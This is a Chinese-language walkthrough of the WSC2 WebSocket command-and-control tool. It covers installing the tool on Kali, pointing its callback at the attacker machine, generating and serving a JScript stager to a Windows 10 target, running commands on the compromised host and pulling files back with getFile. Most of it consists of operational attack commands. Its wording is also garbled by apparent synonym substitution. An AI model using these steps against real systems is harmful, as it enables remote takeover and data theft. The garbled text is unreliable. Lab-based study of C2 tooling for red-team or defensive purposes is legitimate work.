本文，大家将学习培训另一款C&C远程控制专用工具WebSocket C2，也被称作WSC2。

详细介绍

WSC2主要是一款后渗入检测工具。WSC2会应用WebSocket和一个电脑浏览器过程。它的功效是在总体目标吊舱上运作的手机客户端和具体当做C2 *** 服务器的控制板中间做为C2通讯安全通道。这款专用工具应用Python开发设计的。

文中演试自然环境

· 战机：kali Linux

· 吊舱：Windows 10

安裝

更先，我们要在进攻手机上下载此专用工具。我们可以立即从GitHub上免费下载该专用工具，免费下载指令以下：

git clone //github.com/Arno0x/WSC2.git

实行完所述指令以后，便会建立一个WSC2文件目录。如今大家cd到这一文件目录下，随后ls一下，查询大家刚刚安装了哪些內容，如下图：

cd WSC2/

ls

下面，大家必须安裝这一专用工具的依靠标准。安裝依靠的方式 有很多，这儿大家立即应用pip命令，必须安裝的依靠都是在requirement.txt这一文档中，立即特定该文件安裝就可以：

pip install -r requirements.txt

刚刚大家ls查看目录內容时，能够见到有一个config.py文件，大家必须改动这一文档，那样才可以在大家的系统软件中获得到对话。大家应用nano来编辑文件，如下图所示，在我们用nano开启config.py文件时，我们可以见到有一个CALLBACK自变量，它的值是一个IP地址。这儿大家必须把它改动成大家战机的IP地址，也就是这个事例中的kali的详细地址，如下图：

nano config.py

进攻总体目标

下面，大家就可以运作这一专用工具了，在运作以前，我们要先检查一下是不是具备实行管理权限。运作起來以后，大家会见到一个炫酷的banner信息内容，如下图所显示，也有一些有关创作者，版本号和专用工具的详细资料。然后，它便会在文件列表下建立一个子incoming根目录，这一文件目录做为一个缓存文件应用，储存来源于吊舱的文档：

下面，我们要建立一个batch文档。但是大家还可以应用其他类型的stager。这一专用工具出示的stager种类是jscript1,jscript2,jscript3。这儿大家会应用jscript1，因为它不用开展编译程序。别的的stager都必须开展编译程序。下边这条指令会在stagers文件目录下建立一个wsc2Agent1.js文件，如下图：

genStager jscript1

下面，我们要把这个文档发送至吊舱上。大家更先再开启一个终端设备，随后cd到stagers文件目录下。这儿大家开启一个Python *** 服务器，将文件分享吊舱。当然，也是有许多别的方式 能够将文档传入吊舱上，大伙儿能够自身多探索，以下：

cd stagers/

ls

python -m SimpleHTTPServer 80

一旦这一jscript文档在吊舱中实行以后，大家就可以在终端设备中见到一条信息，一个新的agent联接取得成功。我们可以应用list指令来查询一下有什么agents。

list

随后，大家拷贝这一AgentID，随后use这一AgentID参会话互动，如下图所显示：

use[AgentID]

指令实行

大家键入cli指令，随后就可以在吊舱上运作powershell指令。这儿大家就简易地实行一个systeminfo指令，实行以后，大家就可以见到吊舱的详尽的系统信息了，如下图：

cli

systeminfo

压缩文件下载

此外，大家还能够从吊舱上下载文件。下载文件的指令是getFile，后边接文件夹名称或是途径。这一指令会将吊舱上的压缩文件下载到大家的战机上，如下图：

help getFile

getFile sample_text.txt

免费下载的文档会储存在根目录incoming中，大家应用cat命令来查询下载文件的內容，如下图：

cd incoming/

ls

cat sample_file.txt